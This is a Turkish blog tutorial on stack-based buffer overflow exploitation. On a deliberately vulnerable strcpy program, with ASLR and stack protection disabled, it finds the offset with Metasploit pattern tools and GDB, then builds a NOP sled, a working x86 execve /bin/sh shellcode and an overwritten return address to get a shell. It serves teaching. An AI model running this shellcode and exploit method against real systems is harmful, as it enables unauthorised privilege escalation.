Perşembe, Mayıs 28

Buffer Overflow Attack - DASLR


Not: "Root kullanıcısı ile işlem yaptığımın farkındayım :)"
Merhabalar, ortalarda sürekli dönen şu BOF muhabbeti ile ilgili bir şeylerde ben karalamak istedim açıkcası arkadaşların paylaştığı şeyler genellikle challenge level olduğu için anlaşılması zor bu yüzden bende bir şeyler karalamak istedim hem daha anlaşılır hemde daha basit olması açısından.

Öncelikle BOF dediğimiz terimin açılımının Buffer Overflow olduğunu ve bu kavramın yazılımlarda ki hatalardan ve belli başlı fonksiyonların yanlış kullanımından meydana geldiğini bilmemiz gerekiyor. Bellekte ayrılan alanın üstüne çıkarak sisteme hata verdirilmesi ve bu yolla beraber izinsiz kod girişi yapılması stack-based buffer overflow ile mümkün kısaca açıklması bu. Türkçe olarak "bellek taşması" ismiyle adlandırdığımız bu açıkları iyi derecede kavramamız gerekiyor bu açıklar haricinde "format string(blind felan var), rop, aslr bypass, heap overflow, integer overflow, canary  vs. diye giden bir silsile var zaman buldukça bunlarıda bu blog üzerinden paylaşacağız.

Buffer Overflow ile neler yapabiliriz ? Evet klasik soru soruldu bof bulunan yazılımlarla full yetkiyi ele alıp yetkisiz erişim sağlayabilirsiniz, bof açıklarına önlem almak için geliştirilmiş aslr, canary, propolice vs. gibi önlemler alınmasına karşın bu yazılımlarında bypass edilerek atlatılabildiğini unutmamak gerek.


Kısaca "C" dilinde strcpy gibi bof açıklarını tetikleyen yahut formatı belirtilmeden print edilen değişkenlerde format string açığını tetikleyen fonksiyonlar sayesinde bu açıklar exploit edilip sistemlerde yetkisizi erişime sahip olunabiliyor. Format string mevzusunun tabi ki konumuzla şimdilik alakası yok biz malum konumuzla devam edelim.

Kısaca bunu örnekleyelim hangi fonksiyonda neyi nasıl tetiklediğini görelim küçük bir C kodu yazalım.


#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
    char bof[200]; /* bof değişkenine 200 dizelik bir bölüm tanımla */
    strcpy(bof, argv[1]); /* "Açık Bulunan Fonksiyon", source-destination ilişkisi gelen argumentleri bof değişkeninde çevir */
    return 0; /* burası exit olsaydı işlem direkt bitirileceği için açık tetiklenmemiş olacaktı */
}
Kısaca kodumuzun açıklaması comment kısmında belirtilmiş durumda burada ki açık mevzusu strcpy fonksyionundan kaynaklanan bir durum dışardan gelen değeri direkt 200 dizelik bir değişkene basıyor tabi ki fazlası return edildiği için kernel'den "Segmentation Fault" hatası dönüyor birde buna "asm" olarak bakalım.


Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: and    $0xfffffff0,%esp
   0x08048422 <+6>: sub    $0xe0,%esp
   0x08048428 <+12>: mov    0xc(%ebp),%eax
   0x0804842b <+15>: add    $0x4,%eax
   0x0804842e <+18>: mov    (%eax),%eax
   0x08048430 <+20>: mov    %eax,0x4(%esp)
   0x08048434 <+24>: lea    0x18(%esp),%eax
   0x08048438 <+28>: mov    %eax,(%esp)
   0x0804843b <+31>: call   0x8048300 <strcpy@plt> *
   0x08048440 <+36>: mov    $0x0,%eax
   0x08048445 <+41>: leave  
   0x08048446 <+42>: ret    
End of assembler dump.
AT&T sytanx olarak okuyalım source-destination, "0x0804843b" burda gördüğünüz hexdecimal değerimiz x86 mimarisinde bulunan call fonksiyonuyla sahneye çağırılan "strcpy" dir evet taa kendisi. Zaafiyetin bulunduğu fonksiyonu disassemble ederekte görmüş olduk işlemlerimiz GDB üzerinden devam edecek. 

Şimdi derleme işlemini gerçekleştirelim stack-smashing protection altında bulunan sistemlerde bu tekniğin uygulanabilmesi için derleme yaparken stack protection kapatarak derleyeceğiz tabi ki bunun öncesinde birde ASLR disable hale getirmemiz gerekiyor.

echo "0" > /proc/sys/kernel/randomize_va_space

ASLR(Address Space Layout Randomization) bu terime girmiyorum araştırıp ne işe yaradığını öğrenmiş olursunuz bu fonksiyonumuzu devre dışı bıraktıktan sonra elimizde bulunan kodumuzu stack korumasız şekilde derlemeye geldi

gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o bof bof.c
Varolan kodumuzu stack korumasız şekilde derledikten sonra stack patlatmaya geldi devam edelim.


root@WORKGROUP:/si# ./ret `python -c 'print "A"*250'
Segmentation fault
Evet 250 karakteri kafadan salladık kernel'de bir hata aldık bu arada "Segmentation fault" ile ilgilide makaleleri okumanızı ve niçin böyle bir hatayla karşılaşıldığını anlamanızı tavsiye ediyorum ezber şekilde hareket etmemeniz sizin faydanıze kaynaklardan faydalanarak hareket edebilirsiniz ama ezber şekilde hareket ederek gidebileceğiniz yer ancak bu yazının sonu olur, neyse devam.

Şimd burda önümüzde iki adet seçenek var ya blind olarak kasacağız AAAAAABBBBBCCCCDDD olarak bize dönen ascii değerleri okuyarak hareket edeceğiz ya da daha kolay olan ve işlerimizi kolayca halledebileceğiz pentest kasan arkadaşların müdavimi olduğu bir tool kullanacağız biraz tembellik yapıp bu toolu kullanalım istiyorum açıkcası :)

root@WORKGROUP:/si# ruby /usr/share/metasploit-framework/tools/pattern_create.rb 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Evet bu tool ile karakterleri ürettik mantıken baktığımızda bu karakter bize stack'in hangi karakterde patladığını gösterecek yukarıda belirttiğim gibi aslında burada da blind bir stil izliyoruz lakin tool yardımıyla olduğu içinde çokta blind diyemeyeceğim bu tool olmasaydı AAAABBBBCCCCDDDD gibi karakterler üreterek stack'in hangi karaterde patladığını bulmaya çalışacaktık buda bize biraz zaman kaybettirecekti açıkcası neyse tercih meselesi diyoruz ve yolumuza bakıyoruz.

gdb geçiyoruz ve offsetimizi belilemek için ürettiğimiz karakterlerimizi zaafiyet olduğunu bildiğimiz yazılımımıza ekliyoruz bakalım karşımıza ne çıkacak.

(gdb) run `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"'`
Starting program: /si/ret `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Program received signal SIGSEGV, Segmentation fault.
0x41386741 in ?? ()
Evet hatamızı aldık "0x41386741" şurda belirtilen değer bizim stack'in nerde patladığını bize söylüyor şimdi offsetimizi belirliyelim.


root@WORKGROUP:/si# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 0x41386741 250
[*] Exact match at offset 204
Oooooo ! 204 sayısını vermiş bize yani 204 offsette stack patlıyor ve biz bundan sonrasında keyfi olarak yetki alabiliyormuşuz öyle diyor devam ediyoruz.


(gdb) disas main
Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0xd0,%esp
   0x08048425 <+9>: mov    0xc(%ebp),%eax
   0x08048428 <+12>: add    $0x4,%eax
   0x0804842b <+15>: mov    (%eax),%eax
   0x0804842d <+17>: mov    %eax,0x4(%esp)
   0x08048431 <+21>: lea    -0xc8(%ebp),%eax
   0x08048437 <+27>: mov    %eax,(%esp)
   0x0804843a <+30>: call   0x8048300 <strcpy@plt>
   0x0804843f <+35>: mov    $0x0,%eax
   0x08048444 <+40>: leave  
   0x08048445 <+41>: ret
Hatırladınız evet yukarıda giriştede böyle bir tablo vermiş ve evet açık bu fonksiyonda kaynaklanıyor halbu ki bu fonksyion şöyle kullanılsa yahut satır sonuna şu eklense böyle birşey olmaz felan demiştik tamamdır hatırladınız şimdi o satıra bir adet breakpoint koyup devam ediyoruz. Ama ondan önce anlatmamız gereken bir durum daha var shellcode mevzusu aslında blog'da bu konu hakkında bir yazı yazmaya başlamıştım devamı gelmeden bu yazıyıda yazmayıda düşünmüyordum lakin başlamışken bitsin istedim. Şimdi bize lazım "sh" geçip yetki almak için bir adet shellcode onun içinde hesapladığımızda 204 offset çıkardığına göre, bizim kullanacağımız shellcode'nin byte değerini burdan çıkararak kullanmamız gerekiyor bu vesileyle yaygın olarak kullanılan "Peda Tool" da hem tanıtmış hemde faydalanmış oluruz;

Peda INSTALL adresinden yükleyebilirsiniz ve detaylı kullanımıda mevcut.
Değişik boyutta exec, nc, passwd vs. gibi shellcode için Shell-Storm


gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
Peda'dan bize exec shellcode üretmesini istedik ve 24 byte boyutunda bir shellcode verdi o zaman şöyle diyoruz.

204 - 24 = 180 

Bu elde ettiğimiz 180 No Opcodes olacak yani buralar "\x90" ascii karakterine bürünerek boşluk olarak devam ederek bize açık olan fonksiyon üzerinden /bin/sh çağırarak yetki yükseltecek genellikle ctflerde de böyledir basit bir mevzu adımları bilmek yeterli. Devam edelim.


(gdb) b *0x0804843a
Yukarıda ki tabloda gördüğümüz fonksiyonun adresine bir adet breakpoint koyduktan sonra bu fonksiyon üzerinden shellcode mizi çalıştıralım tabi ki dediğimiz şekilde;


(gdb) run `python -c 'print "\x90" * 180 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'`
Evet burada ne yaptık sorusunu duyar gibiyim isterseniz açıklayalım öncelikle demin ki hesabımızda yer ayırdığımız shellcode'den önce bahsettiğimiz gibi null karakterleri yerleştirdik devamında ise 24 Byte değerinde shellcode yerleştirerek 204 offset tamamladık.



The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /si/ret `python -c 'print "\x90" * 204 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'`

Breakpoint 1, 0x0804843a in main (argc=2, argv=0xbffff4d4) at ret.c:5
5     strcpy(bof, argv[1]); 
Yukarıda ki kodu çalıştırdığımızda karşımıza bunun gibi açıklamalar silsilesi çıkacak bu açıklamalar silsilesi bize breakpoint koyduğumuz fonksiyonun eklediğimiz kod silsilesiyle çalışacağını söylüyor ortada hala bir sh mevzusu yok olmaması doğal "ESP" bir göz atıyoruz bu değerleri kabul eden adresi bulup ona bunu yazdırmadığımız sürece bize rahat yok.

(gdb) x/200s $esp

Yukarıda ki komutla beraber gdb bize stack pointer'a giren en son 200 değeri string olarak yazdırmasını istedik bu komutun x var b var w var varoğlu var gdb detaylı olarak araştırıp görebilirsiniz diyor ve devam ediyoruz.

0xbffff36f:  ""
0xbffff370:  "X\333\375\267`\330\375\267T\202\004\bT\220\346\267\004\202\004\b\001"
0xbffff386:  ""
0xbffff387:  ""
0xbffff388:  "\364\357\377\267\200\364\377\277\300\372\377\267T\364\377\277b\266\376\267D\364\377\277\004\202\004\b8\364\377\277d\372\377\267"
0xbffff3ad:  ""
0xbffff3ae:  ""
0xbffff3af:  ""
0xbffff3b0:  "X\333\375\267\001"
---Type <return> to continue, or q <return> to quit---
0xbffff3b6:  ""
0xbffff3b7:  ""
0xbffff3b8:  ""
0xbffff3b9:  ""
0xbffff3ba:  ""
0xbffff3bb:  ""
0xbffff3bc:  "\001"
.................................
Karşımıza yukarıda ki gibi adresler ve değerler çıkıyor girdiğimiz değerlerin nerde olduğunu görmeye çalışalım hangi değerde döndüğünü bir deneyelim. Biraz daha aşağılara inince karşımıza şu şekilde bir değer topluluğu çıkıyor.

0xbffff4e0:  "\022\367\377\277&\367\377\277Y\367\377\277d\367\377\277t\367\377\277\304\367\377\277\326\367\377\277\b\370\377\277\022\370\377\277\063\375\377\277a\375\377\277\273\375\377\277\311\375\377\277\324\375\377\277\354\375\377\277.\376\377\277=\376\377\277E\376\377\277V\376\377\277n\376\377\277\203\376\377\277\214\376\377\277\237\376\377\277\252\376\377\277\262\376\377\277\336\376\377\277\353\376\377\277M\377\377\277\212\377\377\277\227\377\377\277\244\377\377\277\275\377\377\277"
Bakalım aradığımız yer burası mı bir görelim düzenlememizi yaptık karşımıza çıkan değer şu şekilde;

"\xe0\xf4\xff\xbf"  yani Little Endian mimarisi sağdan sola doğru değerleri okuyacağız shellcode yazısında da bundan bahsetmiştim deneyelim ve görelim;


./ret `python -c 'print "\x90" * 180 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xe0\xf4\xff\xbf"'`
Segmentation fault











Evet bir şeyler ters gitti tahmin ettiğimiz değer üzerinden shellcode çalıştıramıyoruz denemelere devam stack biraz daha büyütelim değerleri inceleyelim;

Bu sefer baştan sona değin Stack'de son 300 girişi inceleyelim isterseniz

(gdb) x/300s $esp

Evet bir çok değer yine karşımıza çıktı aşağılara doğru indiğimizde şöyle bir ekran görüyoruz;


    0xbffff636:  ""
    0xbffff637:  ""
    0xbffff638:  ""
    0xbffff639:  ""
    0xbffff63a:  ""
    0xbffff63b:  ""
    0xbffff63c:  "/si/ret"
    0xbffff644:  "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343\061ɉ\312j"...
    0xbffff70c:  "\vX̀\340\364\377\277"
Yani burda "0xbffff644" hexdecimali ile bir kez daha çağırmaya çalışalım isterseniz.

"\x44\xf6\xff\xbf"

root@WORKGROUP:/si# ./ret `python -c 'print "\x90" * 180 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x44\xf6\xff\xbf"'`


Evet sanırım işe yaradı artık bash almış bulunuyoruz. Son olarak genelde CTF ilk bof soruları bu şekilde gelir devamı format string rop vs diye gider kavramanız ve anlamanız dileğiyle, elimden geldiği kadar basit ve kolay bir dille anlatmaya çalıştım. Soruları yazının altında sorabilirsiniz. ( Root account ile root hesabina yukseltme konusunda ki sorunsali soracak olursaniz; hazirlik yapmak icin usendigim icin bu sekilde oldu ret2libc anlatiminda daha detayli haline rastlayabilirsiniz.)

Hoşçakalın. S.K



1 yorum:

  1. Hocam merhabalar exploit mantığı nasıl olur bu şekilde ?

    YanıtlaSil

Blogger tarafından desteklenmektedir.